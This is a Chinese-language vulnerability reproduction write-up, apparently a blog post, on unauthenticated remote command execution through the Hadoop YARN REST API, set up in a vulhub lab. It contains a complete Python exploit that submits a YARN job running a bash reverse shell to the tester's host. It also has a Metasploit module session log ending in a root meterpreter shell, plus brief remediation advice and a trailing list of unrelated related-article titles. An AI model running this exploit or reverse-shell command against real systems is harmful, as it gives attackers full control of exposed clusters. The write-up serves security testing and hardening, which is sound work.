0x01 概述

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。

0x02 影响范围

(1)Apache Hadoop YARN资源管理系统
(2)对外开启以下作用的端口:

yarn.resourcemanager.webapp.address,默认端口8088
yarn.resourcemanager.webapp.https.address,默认端口8090

0x03 简单检测

(1)环境:vulhub
(2)访问http://192.168.178.128:8008出现hadoop未授权访问页面。
(3)构造POST请求,返回如下信息证明存在
curl -X POST 192.168.178.128:8088/ws/v1/cluster/apps/new-application

0x04 漏洞复现

修改exp脚本目标url、本地IP、监听端口,然后开启本地监听9999端口(与脚本一致即可)准备反弹shell,执行exp脚本文件python3 hadooprce.py,即可获取shell
hadooprce.py文件内容:

import requests#python3
target = 'http://192.168.178.128:8088/'  # put your remote host IP here
lhost = '192.168.178.129'  # put your local host IP hereurl = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)


也可以利用msf的模块:

msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhosts 192.168.178.128
rhosts => 192.168.178.128
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.178.129
lhost => 192.168.178.129
msf5 exploit(linux/http/hadoop_unauth_exec) > set lport 4444
lport => 4444
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit [*] Started reverse TCP handler on 192.168.178.129:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (980808 bytes) to 192.168.178.128
[*] Meterpreter session 1 opened (192.168.178.129:4444 -> 192.168.178.128:36834) at 2020-12-17 17:42:02 +0800meterpreter > getuid
Server username: no-user @ 1ab507230acc (uid=0, gid=0, euid=0, egid=0)
meterpreter >

0x05 修复建议

1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问,不要将接口开放在公网,改为本地或者内网调用;
2.Hadoop在2.X以上版本提供了安全认证功能,加入了 认证机制,建议启用Kerberos认证功能。

【漏洞复现】Hadoop YARN 资源管理系统 REST API未授权访问相关推荐

  1. Docker远程API未授权访问导致的Docker逃逸

    Docker远程API未授权访问导致的Docker逃逸 前言 是给社团学弟学妹们一次讲课的一次md. 服务器 https://cloud.tencent.com/act/campus 当然想要复现学习 ...

  2. docker remote api未授权访问漏洞(端口:2375)

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  3. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

  4. Hadoop Yarn REST API未授权漏洞利用挖矿分析

    目录 一.背景情况 二. 漏洞说明 攻击步骤: 三.入侵分析 四.安全建议 清理病毒 安全加固 五.IOCs 一.背景情况  5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统RES ...

  5. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  6. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  7. Hadoop 未授权访问 getshell

    漏洞概述 YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建.任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访 ...

  8. 【应急类漏洞】————1、未授权访问漏洞总结

    前言 2018年5月,比特币勒索病毒 WannaCry 席卷全球,国内众多机构部门计算机系统瘫痪.根据之前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植 ...

  9. api zoom 实现自动预定_ZoomEyeAPI批量抓取与Redis未授权访问

    介绍 Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹.ZoomEye 支持公网设备指纹检索和 Web 指纹检索网站指纹包括应用名.版本. ...

  10. Docker未授权访问漏洞

    文章目录 一.漏洞介绍 1.1 漏洞成因 1.2 漏洞概况 二.攻击过程 2.1 信息收集 2.2 漏洞探测 2.3 漏洞利用 三.防御方法 一.漏洞介绍 1.1 漏洞成因   又叫Docker Re ...

最新文章

  1. ThinkPHP入门(二)
  2. nyoj A+B Problem IV
  3. jQuery遍历(1)
  4. 操作系统:再见CentOS,将于本月底终止维护!
  5. python二级简书_12月4日,总结发现杯,备战python二级
  6. 13.深度学习练习:Autonomous driving - Car detection(YOLO实战)
  7. 从C语言到C++的进阶之C到C++的转变(篇一)
  8. mvc actionresult返回各种文件
  9. 关于马尔科夫链的期望收益在matlab中的实现
  10. HUAWEI 机试题:统计射击比赛成绩
  11. 一篇2006年的文章和一部2015年的名著
  12. 固态硬盘、机械硬盘、手机的“内存”有三种
  13. GUI设计和UI设计有什么区别?
  14. 将秒数换算成具体的天时分秒
  15. python之路——进程
  16. 雪峰磁针石博客]渗透测试简介2入侵工具
  17. win7不提示计算机重名,VMware安装win7系统提示网络上有重名怎么解决
  18. 当年的Windows98
  19. 利用Python制作微信机器人(二)
  20. Linux 系统下Eclipse安装及使用

热门文章

  1. matlab函数的线性化,[原创]非线性Simulink模型线性化方法讨论
  2. 酷睿7代cpu安装win7
  3. 用大数据感知美德的力量
  4. Android 图文数据JSON解析,金山词霸每日一句API的调用
  5. Windows系统蓝屏机制
  6. 关于C语言中数组输入与打印
  7. 盒子综合案例——德云社十八愁与宠物知识栏
  8. 最完美开启三星note9USB调试模式的方法
  9. ftp文件服务器编码,ftp服务器字符编码
  10. [办公自动化]目录修改以及插入分页符后行间距自动变宽